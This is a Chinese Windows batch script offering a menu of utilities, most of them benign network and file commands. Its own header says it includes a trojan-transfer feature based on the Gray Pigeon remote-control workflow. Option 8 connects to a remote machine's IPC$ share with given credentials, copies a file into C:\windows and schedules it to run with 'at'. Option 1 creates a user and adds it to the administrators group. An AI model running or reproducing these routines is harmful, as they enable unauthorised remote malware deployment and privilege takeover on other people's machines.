CMD多功能脚本
脚本中的木马文件传送功能,基于灰鸽子远控win-2003流程。
@echo off
title 自动化脚本页面
color 02
echo=============此脚本只适合用来写一个顺序执行脚本文件============================
echo=============如运行失败,请使用管理员权限运行此脚本============================
pause
:menu
cls
echo ---------------------------------------------------------------------------
echo 菜单
echo 1.添加用户并提权
echo 2.查看端口号
echo 3.查看详细ip地址
echo 4.清理本地DNS缓存
echo 5.清理本地ARP缓存
echo 6.创建新文件
echo 7.重命名文件
echo 8.传送木马文件
echo 9.设置自动关机
echo 10.修改程序颜色
echo 11.杀掉桌面程序
echo 12.清空当前屏幕
echo 13.退出
echo ---------------------------------------------------------------------------
set /p num=您的选择是:
if "%num%"=="1" goto 1
if "%num%"=="2" goto 2
if "%num%"=="3" goto 3
if "%num%"=="4" goto 4
if "%num%"=="5" goto 5
if "%num%"=="6" goto menu3
if "%num%"=="7" goto 7
if "%num%"=="8" goto 8
if "%num%"=="9" goto menu4
if "%num%"=="10" goto 10
if "%num%"=="11" goto 11
if "%num%"=="12" goto 12
if "%num%"=="13" goto exit
echo 请按照选项重新输入!!!
pause
goto menu
:1
set /p user=请输入用户名:
set /p password=请输入密码:
net user %user% %password% /add >nul
echo 按任意键继续提升权限
pause
:menu2
cls
echo ====================================
echo 1.管理员权限
echo 2.普通用户
echo 3.返回主菜单
echo ====================================
set /p num2=请选择您要提升的权限:
if "%num2%"=="1" goto admin
if "%num2%"=="2" goto user
if "%num2%"=="3" goto menu
echo 请按照选项重新输入!!!
pause
goto menu2
:admin
set /p user=请输入要提升权限的用户名:
net localgroup administrators %user% /add
echo 管理员权限提升成功!
pause
goto menu2
:user
set /p user=请输入要提升权限的用户名:
net localgroup users %user% /add >nul
echo 普通用户权限提升成功!
pause
goto menu2
:2
netstat -an
echo 按任意键返回菜单!
pause
goto menu
:3
ipconfig /all
echo 按任意键返回菜单
pause
goto menu
:4
ipconfig /flushdns >nul
echo DNS缓存成功刷新!
echo 按任意键返回菜单
pause
goto menu
:5
echo 本地ARP缓存查看
arp -a
echo 按任意键继续刷新本地ARP缓存
pause
arp -d >nul
echo.
echo ARP缓存成功刷新!
echo 按任意键返回菜单
echo.
pause
goto menu
:menu3
cls
echo ===========================================
echo 1.返回根目录
echo 2.创建文件夹
echo 3.创建文件并写入内容
echo 4.查看文件内容
echo 5.返回主菜单
echo ===========================================
set /p num3=请输入您的选择:
if "%num3%"=="1" goto gen
if "%num3%"=="2" goto wenjianjia
if "%num3%"=="3" goto wenjian
if "%num3%"=="4" goto chakan
if "%num3%"=="5" goto menu
echo 请按照选项重新输入!!!
pause
goto menu3
:gen
cd\
echo 按任意键返回菜单
pause
goto menu3
:wenjianjia
set /p wenjian=请输入文件夹名:
md %wenjian% 〉nul 2>nul
echo 文件夹创建成功
echo 按任意键返回菜单
pause
goto menu3
:wenjian
set /p name=请输入文件名:
echo 按任意键进入文件编写,ctrl+z结束编写
copy con %name%
echo 按任意键返回菜单
pause
goto menu3
:chakan
set /p name=请输入要查看的文件名称:
type %name% |more
echo 按任意键返回菜单
pause
goto menu3
:7
set /p name1=请输入文件原名称:
set /p name2=请输入文件新名称:
ren %name1% %name2%
echo 按任意键返回菜单
pause
goto menu
:8
set /p num1=请输入您要连接的用户名:
set /p num2=请输入您要连接的用户密码:
set /p num3=请输入您要连接的ip地址:
net use \\%num3%\ipc$ %num2% /user:%num1% >nul
echo 建立连接成功
pause
set /p num4=请输入您要复制的文件路径:
set /p num5=请输入您要复制的文件名称:
Copy %num4%\%num5% \\%num3%\c$\windows
echo 复制文件成功
pause
net time \\%num3%
echo 查询对方时间成功
pause
set /p num6=请输入您要运行的时间:
At \\%num3% %num6% "c:\%num5%"
echo 按任意键返回菜单
pause
goto menu
:menu4
cls
echo ================================================
echo 1.设置定时强制关机时长
echo 2.设置定时强制重启时长
echo 3.取消所有定时
echo 4.返回主菜单
echo ================================================
set /p num=请输入您的选择:
if "%num%"=="1" goto dingshi
if "%num%"=="2" goto dingshi2
if "%num%"=="3" goto quxiao
if "%num%"=="4" goto menu
echo 请按照选项重新输入!!!
pause
goto menu4
:dingshi
set /p time=请输入强制关机时长(单位:s):
shutdown -s -f -t %time% >nul
echo 定时关机设置成功
echo 按任意键返回菜单
pause
goto menu4
:dingshi2
set /p time=请输入强制重启时长(单位:s):
shutdown -r -f -t %time% >nul
echo 定时重启设置成功
echo 按任意键返回菜单
pause
goto menu4
:quxiao
shutdown -a
echo 取消定时关机成功
echo 按任意键返回菜单
pause
goto menu4
:10
echo 颜色由背景色和字体色组成,第一个数字对应为背景色,第二个数字对应为字体颜色
echo ================================
echo 0 = 黑色 8 = 灰色
echo 1 = 蓝色 9 = 淡蓝色
echo 2 = 绿色 A = 淡绿色
echo 3 = 浅绿色 B = 淡浅绿色
echo 4 = 红色 C = 淡红色
echo 5 = 紫色 D = 淡紫色
echo 6 = 黄色 E = 淡黄色
echo 7 = 白色 F = 亮白色
echo ================================
set /p num1=请输入你选择背景色的数字:
set /p num2=请输入你选择字体色的数字:
color %num1%%num2%
echo 程序颜色修改成功
echo 按任意键返回菜单
pause
goto menu
:11
echo 杀死桌面程序请输入1 恢复桌面程序请输入2 返回主菜单请输入3
set /p num=请输入你的选择:
if "%num%"=="1" goto 11shasi
if "%num%"=="2" goto 11huifu
if "%num%"=="3" goto menu
echo 请按照选项重新输入!!!
pause
goto 11
:11shasi
echo 杀死桌面程序
taskkill /im explorer.exe /f >nul 2>nul
goto 11
:11huifu
Start c:\windows\explorer.exe >nul
echo 桌面程序恢复成功
echo 按任意键返回菜单
pause
goto 11
:12
cls >nul
goto menu
:exit
exit